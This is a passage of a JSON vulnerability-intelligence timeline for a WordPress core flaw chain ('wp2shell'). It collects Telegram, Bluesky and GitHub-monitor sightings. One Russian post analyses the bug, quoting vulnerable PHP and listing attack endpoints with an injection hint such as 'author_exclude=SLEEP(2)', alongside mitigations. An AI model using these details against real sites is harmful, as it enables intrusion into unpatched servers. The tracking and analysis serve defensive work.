\u0442\u0430\u0440\u0438\u0444\u043d\u044b\u0445 \u043f\u043b\u0430\u043d\u0430\u0445, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0431\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 \u0435\u0435 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0443 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043f\u0440\u043e\u043a\u0441\u0438-\u0441\u0435\u0440\u0432\u0435\u0440\u0430.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Cloudflare, \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u044e\u0442 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043a\u0430\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0439 (CVE-2026-60137), \u0442\u0430\u043a \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438 REST API (CVE-2026-63030). \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0437\u0430\u0449\u0438\u0442\u0430 WAF \u0441\u043d\u0438\u0436\u0430\u0435\u0442 \u0440\u0438\u0441\u043a\u0438 \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043d\u043e \u043d\u0435 \u0437\u0430\u043c\u0435\u043d\u044f\u0435\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0443 \u043f\u0430\u0442\u0447\u0435\u0439.", "url": "https://t.me/cyberwarehouse/1166"}, {"timestamp": "2026-07-27T00:00:35.333Z", "date_only": false, "value": "2026-07-27T00:00:35.333933Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/cyberwarehouse/1170", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "3951985f-e83d-4f12-8a31-03511387ede1", "content": "wp2shell \u2014 \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u043c \u043e\u0442 \u0438 \u0434\u043e.\n\n\u042d\u0442\u043e \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u0442\u0430\u043a\u0438\u0445 \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u043e\u0432:\n\n\ud83d\udccd CVE-2026-63030 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u044b \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u0438 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u0433\u043e REST API. CWE-436.\n\n\ud83d\udccd CVE-2026-60137 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f SQL-\u043a\u043e\u0434\u0430 (SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f). CWE-89.\nwp2shell \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 (RCE) \u0432 \u0421MS Wordpress. \u0417\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438: 6.8.0\u20136.8.5; 6.9.0\u20136.9.4; 7.0.0\u2013 7.0.1.\n\n\ud83e\udee1 \u041e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438:\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 serve_batch_request_v1, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u043f\u0430\u043a\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043a /wp-json/batch/v1.\n\n\u0424\u0443\u043d\u043a\u0446\u0438\u044f \u0441\u043e\u0437\u0434\u0430\u0435\u0442 \u0434\u0432\u0430 \u043c\u0430\u0441\u0441\u0438\u0432\u0430 \u0434\u043b\u044f \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0432\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u043f\u043e\u0434\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432: $requests[] (\u0441\u0430\u043c\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u044b) \u0438 $matches[] (\u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u043d\u0438\u0445 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438). \n\n\u0415\u0441\u043b\u0438 \u043f\u0443\u0442\u044c \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u0437 \u043f\u043e\u0434\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u0439 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, http://), \u0444\u0443\u043d\u043a\u0446\u0438\u044f wp_parse_url() \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 false. \u0412 \u044d\u0442\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0432 \u043c\u0430\u0441\u0441\u0438\u0432 $validation[] \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043e\u0448\u0438\u0431\u043a\u0430 (WP_Error), \u043d\u043e \u0437\u0430\u043f\u0438\u0441\u044c \u0432 \u043c\u0430\u0441\u0441\u0438\u0432 $matches[] \u043d\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 (\u0447\u0435\u0440\u0435\u0437 continue).\n\n\u041d\u0438\u0436\u0435 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438 \u0447\u0430\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0433\u043e \u043a\u043e\u0434\u0430, \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f wp-includes/rest-api/class-wp-rest-server.php \nforeach ( $batch_request['requests'] as $args ) {\n            $parsed_url = wp_parse_url( $args['path'] );\n            if ( false === $parsed_url ) {\n                $requests[] = new WP_Error( 'parse_path_failed', __( 'Could not parse the path.' ), array( 'status' => 400 ) ); // \u0437\u0430\u043f\u0438\u0441\u044c \u043e\u0448\u0438\u0431\u043a\u0438 \u0434\u043b\u044f http:// \n\n                continue;\n            }\n\n            $single_request = new WP_REST_Request( $args['method'] ?? 'POST', $parsed_url['path'] );\n ....\n\n$matches    = array();\n$validation = array();\n$has_error  = false;\nforeach ( $requests as $single_request ) {\n    if ( is_wp_error( $single_request ) ) {\n        $has_error    = true;\n        $validation[] = $single_request;  \n        continue; // \u043f\u0440\u043e\u043f\u0443\u0441\u043a \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 $matches[]\n    }\n\n\u0418\u0437-\u0437\u0430 continue \u043c\u0430\u0441\u0441\u0438\u0432\u044b $requests \u0438 $matches \u0440\u0430\u0441\u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u043f\u043e \u0438\u043d\u0434\u0435\u043a\u0441\u0430\u043c. \u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0434\u043d\u043e\u043c\u0443 \u043f\u043e\u0434\u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a, \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u044b\u0439 \u0434\u043b\u044f \u0434\u0440\u0443\u0433\u043e\u0433\u043e.\n\n\u0421\u0434\u0432\u0438\u0433 \u0438\u043d\u0434\u0435\u043a\u0441\u043e\u0432 \u2192 \u041d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u0439 \u043f\u0443\u0442\u044c \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 continue \u2192 \u041c\u0430\u0441\u0441\u0438\u0432\u044b $requests \u0438 $matches \u0440\u0430\u0441\u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u2192 \u0417\u0430\u043f\u0440\u043e\u0441\u044b \u043f\u043e\u043b\u0443\u0447\u0430\u044e\u0442 \u0447\u0443\u0436\u0438\u0435 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u2192 \u0412\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0439 batch \u2192 \u0417\u0430\u043f\u0440\u043e\u0441 /wp/v2/posts \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043a\u0430\u043a batch \u2192 \u0412\u043d\u0443\u0442\u0440\u0438 \u0441\u043d\u043e\u0432\u0430 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0441\u0434\u0432\u0438\u0433 \u0438\u043d\u0434\u0435\u043a\u0441\u043e\u0432 \u2192 \u0417\u0430\u043f\u0440\u043e\u0441 \u043a /categories?author_exclude=SLEEP(2) \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a /posts (\u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442) -> SQLi.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c SQLi\nauthor_exclude \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 \u0442\u0438\u043f\u0430 array \u0432 get_collection_params().\n\u0412 get_items() \u043e\u043d \u043c\u0430\u043f\u0438\u0442\u0441\u044f \u0432 author_not_in \u0431\u0435\u0437 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0442\u0438\u043f\u0430.\n\u0418\u0437-\u0437\u0430 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u044b \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u043e\u0432 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u0441\u0442\u0440\u043e\u043a\u0430.\nWP_Query \u043d\u0435 \u0441\u0430\u043d\u0438\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u0442 \u0441\u0442\u0440\u043e\u043a\u043e\u0432\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f. \u0421\u0442\u0440\u043e\u043a\u0430 \u043f\u043e\u043f\u0430\u0434\u0430\u0435\u0442 \u0432 SQL.\n\nif (is_array($query_vars['author__not_in'])) {\n    $query_vars['author__not_in'] = array_map('absint', ...);  // sanitize\n}\n$author__not_in = implode(',', (array) $query_vars['author__not_in']);\n$where .= \" AND post_author NOT IN ($author__not_in) \"\n\n\ud83e\udee1 \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0435 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0435 \u0442\u043e\u0447\u043a\u0438:\n\u0417\u0430\u043f\u0440\u043e\u0441:\n\u2013 POST /wordpress/batch/v1 + \u0442\u0435\u043b\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u0430\n\u2013 POST /?rest_route=/batch/v1 + \u0442\u0435\u043b\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \n\u2013 GET /?_method=POST&rest_route=/batch/v1&validation=normal + \u0442\u0435\u043b\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \nSQLi - \"path\": \"/wp/v2/ author_exclude=\n\n\u041f\u0440\u0438\u043c\u0435\u0440 \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u0437 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432\u00a0\u2014 \u043d\u0430 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u0435.\n\n\ud83e\udee1 \u041a\u0430\u043a \u0437\u0430\u0449\u0438\u0449\u0430\u0442\u044c\u0441\u044f:\n1. \u041e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 7.0.2.\n2. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c WAF/IDS \u0441 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u0430\u043c\u0438 \u043e\u0442 SQLi.\n3. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 php-\u0444\u0430\u0439\u043b\u043e\u0432.\n4. \u041f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 \u0430\u0443\u0434\u0438\u0442 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432, \u0433\u0434\u0435 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u0438 \u0438\u043b\u0438 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 \u0432\u044b\u0441\u0442\u0443\u043f\u0430\u043b /batch/v1.\n5. \u0412\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a /batch/v1 \u0438\u0437 \u0432\u043d\u0435\u0448\u043d\u0435\u0439 \u0441\u0435\u0442\u0438.\n\n\ud83e\udee1 \u041b\u043e\u0432\u0438\u0442\u0435 \u043b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u043d\u0443\u044e \u2014 docker-compose.yml \u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c wordpress \u043f\u0440\u0438\u043a\u0440\u0435\u043f\u043b\u0435\u043d \u043a \u043f\u043e\u0441\u0442\u0443.\n\u0417\u0430\u043f\u0443\u0441\u043a docker-compose up.", "url": "https://t.me/cyberwarehouse/1170"}, {"timestamp": "2026-07-27T05:28:28.690Z", "date_only": false, "value": "2026-07-27T05:28:28.690505Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mrm5yz6suo25", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "112afabc-00e6-412a-bb94-75c35006b643", "content": "Top 3 CVE for last 7 days:\nCVE-2026-63030: 46 interactions\nCVE-2026-50522: 42 interactions\nCVE-2026-60137: 37 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-42945: 3 interactions\nCVE-2026-45755: 2 interactions\nCVE-2026-48021: 2 interactions\n", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3mrm5yz6suo25"}, {"timestamp": "2026-07-27T05:55:53.343Z", "date_only": false, "value": "2026-07-27T05:55:53.343Z", "kind": "milestone", "label": "Published", "source": "bitnami_vulndb \u00b7 BIT-WORDPRESS-2026-60137", "record": "BIT-WORDPRESS-2026-60137", "field": "published"}, {"timestamp": "2026-07-27T06:00:04.932Z", "date_only": false, "value": "2026-07-27T06:00:04.932981Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/95320", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "ba9a1f0a-46df-4403-a525-9b393f69b428", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a yuag\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-27 04:52:03\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-63030 + CVE-2026-60137+poc\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/95320"}, {"timestamp": "2026-07-27T10:00:04.612Z", "date_only": false, "value": "2026-07-27T10:00:04.612348Z", "kind": "sighting", "label": "Seen", "source": "Telegram/kn38l-BAxVCicUp4xe_VlmwdfqsYeVojoIvsltdH6OF8az4", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "6819f7f1-6b0f-4c0a-96d9-42f0163a3764"}, {"timestamp": "2026-07-27T12:01:10.383Z", "date_only": false, "value": "2026-07-27T12:01:10.383245Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/aegisbot.bsky.social/post/3mrmtx7nzd52d", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "f7b61230-2c12-42ba-8ecf-4aef01235121", "content": "\ud83d\udd0d Top signals this week:\n\nCVEs: CVE-2026-16232, CVE-2026-63030, CVE-2026-60137, CVE-2026-6875, CVE-2026-50522\nActors: Ransomware, Apt, Play\n\nFull intel: https://matlock.ca/cybersecnews", "url": "https://bsky.app/profile/aegisbot.bsky.social/post/3mrmtx7nzd52d"}, {"timestamp": "2026-07-27T16:42:23.498Z", "date_only": false, "value": "2026-07-27T16:42:23.498868Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/technews4869.bsky.social/post/3mrndo2m77g2s", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "2aae46b1-239b-46e4-80e1-3db92145bc2d", "content": "piyolog.hatenadiary.jp/ent...\nWordPress Core\u306e\u8106\u5f31\u6027 CVE-2026-63030 / CVE-2026-60137 (\u901a\u79f0\u300cwp2shell\u300d)\u306b\u3064\u3044\u3066\u307e\u3068\u3081\u3066\u307f\u305f - piyolog", "url": "https://bsky.app/profile/technews4869.bsky.social/post/3mrndo2m77g2s"}, {"timestamp": "2026-07-27T17:44:13.538Z", "date_only": false, "value": "2026-07-27T17:44:13.538393Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/yazoul-alerts.bsky.social/post/3mrnh4nbasl2j", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "f2a31033-7191-4e50-8dd5-6e281683141f", "content": "Active exploitation of two WordPress flaws. Webshells being deployed right now.\n\nCVE-2026-63030 and CVE-2026-60137.\n\nhttps://www.yazoul.net/news/article/critical-wp2shell-wordpress-flaws-exploited-to-install-webshells/\n\n#CyberSecurity #Security", "url": "https://bsky.app/profile/yazoul-alerts.bsky.social/post/3mrnh4nbasl2j"}, {"timestamp": "2026-07-27T23:00:04.012Z", "date_only": false, "value": "2026-07-27T23:00:04.012816Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/95429", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "9faa88af-4bdb-4b1f-9446-c59b718ed2a6", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-Hestia-Scanner\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a BytesPulse-OE\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-27 21:10:56\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nRead-only WordPress security scanner for HestiaCP servers. Detects wp2shell compromise indicators (CVE-2026-63030 / CVE-2026-60137) across all hosted sites \u2014 per-user email reports, core file diff against clean WordPress, PHP/JS/htaccess/image analysis, and optional AI evaluation via Claude API.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/95429"}, {"timestamp": "2026-07-28T00:00:37.871Z", "date_only": false, "value": "2026-07-28T00:00:37.871261Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/kn38l-BAxVCicUp4xe_VlmwdfqsYeVojoIvsltdH6OF8az4", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "d0733143-2de7-4278-8596-df37ffe610cf"}, {"timestamp": "2026-07-28T00:00:44.359Z", "date_only": false, "value": "2026-07-28T00:00:44.359029Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/95320", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "cbdc562a-e285-470e-82d0-cc0fd8fe95b3", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a yuag\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-27 04:52:03\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-63030 + CVE-2026-60137+poc\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/95320"}, {"timestamp": "2026-07-28T05:00:03.708Z", "date_only": false, "value": "2026-07-28T05:00:03.708266Z", "kind": "sighting", "label": "Seen", "source": "Telegram/T9GQGrhFX-f2wpOxZaSVD3422spbtNh3v6uYSjmkW6OcFxI", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "c24c7ce2-1dc0-4feb-bd71-ef3c69797a0b"}, {"timestamp": "2026-07-29T00:00:46.843Z", "date_only": false, "value": "2026-07-29T00:00:46.843314Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/T9GQGrhFX-f2wpOxZaSVD3422spbtNh3v6uYSjmkW6OcFxI", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "acb78515-7a1c-4368-a436-09a41e76a7bd"}, {"timestamp": "2026-08-01T16:00:04.116Z", "date_only": false, "value": "2026-08-01T16:00:04.116079Z", "kind": "sighting", "label": "Seen", "source": "Telegram/XmVvH6UtN7-gCe9ILrkWYtW7P9LJK3s3Bp7zoYIg-DtLmu8", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "c58d47ed-8899-4130-ac72-b17a2dbb7086"}, {"timestamp": "2026-08-02T00:00:41.265Z", "date_only": false, "value": "2026-08-02T00:00:41.265633Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/XmVvH6UtN7-gCe9ILrkWYtW7P9LJK3s3Bp7zoYIg-DtLmu8", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "f8735a6a-2bc0-48fc-9fed-f6a8ee981bf1"}, {"timestamp": "2026-08-04T00:00:00Z", "date_only": true, "value": "2026-08-04", "kind": "kev", "label": "Due date", "source": "cisa-kev", "record": "CVE-2026-60137", "field": "evidence.0.details.due_date", "uuid": "b3cb9cb7-62cf-4de4-b912-478080bf470a", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-08-04T12:00:07.925Z", "date_only": false, "value": "2026-08-04T12:00:07.925840Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/96583", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "c75ea1df-97ec-43be-85c6-b5f2491b1982", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-rce\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a johnlodan\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a TypeScript\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-04 10:07:27\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nWordPress CVE-2026-63030 and CVE-2026-60137 security tool for detecting exposure to the WP2Shell pre-authentication RCE chain.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/96583"}, {"timestamp": "2026-08-05T03:00:07.419Z", "date_only": false, "value": "2026-08-05T03:00:07.419284Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/96678", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "c7ee0d1b-af49-4a35-be92-72dc120cce31", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-60137-WordPress-Core-SQL-Injection-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a AbdullahMaqbool22\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-05 00:16:17\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nNon-destructive proof-of-concept and verification harness for CVE-2026-60137, a blind SQL injection in WordPress core (`WP_Query::author__not_in`), reachable via the REST API's `author_exclude` parameter.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/96678"}, {"timestamp": "2026-08-05T09:12:58.512Z", "date_only": false, "value": "2026-08-05T09:12:58.512795Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/kooteksec.bsky.social/post/3msd6pqegic2e", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "2baa9bfc-a928-4ec3-a2fb-e39628cfd9e1", "content": "Outbreak Alert-\nThere's been exploitation attempts targeting the WP2Shell attack chain (CVE-2026-63030 and CVE-2026-60137), a critical unauthenticated remote code execution (RCE) vulnerability affecting WordPress Core. Learn more about this vulnerability  at: kootek.co.uk/outbreak-ale...", "url": "https://bsky.app/profile/kooteksec.bsky.social/post/3msd6pqegic2e"}, {"timestamp": "2026-08-05T19:00:06.251Z", "date_only": false, "value": "2026-08-05T19:00:06.251413Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/96790", "record": 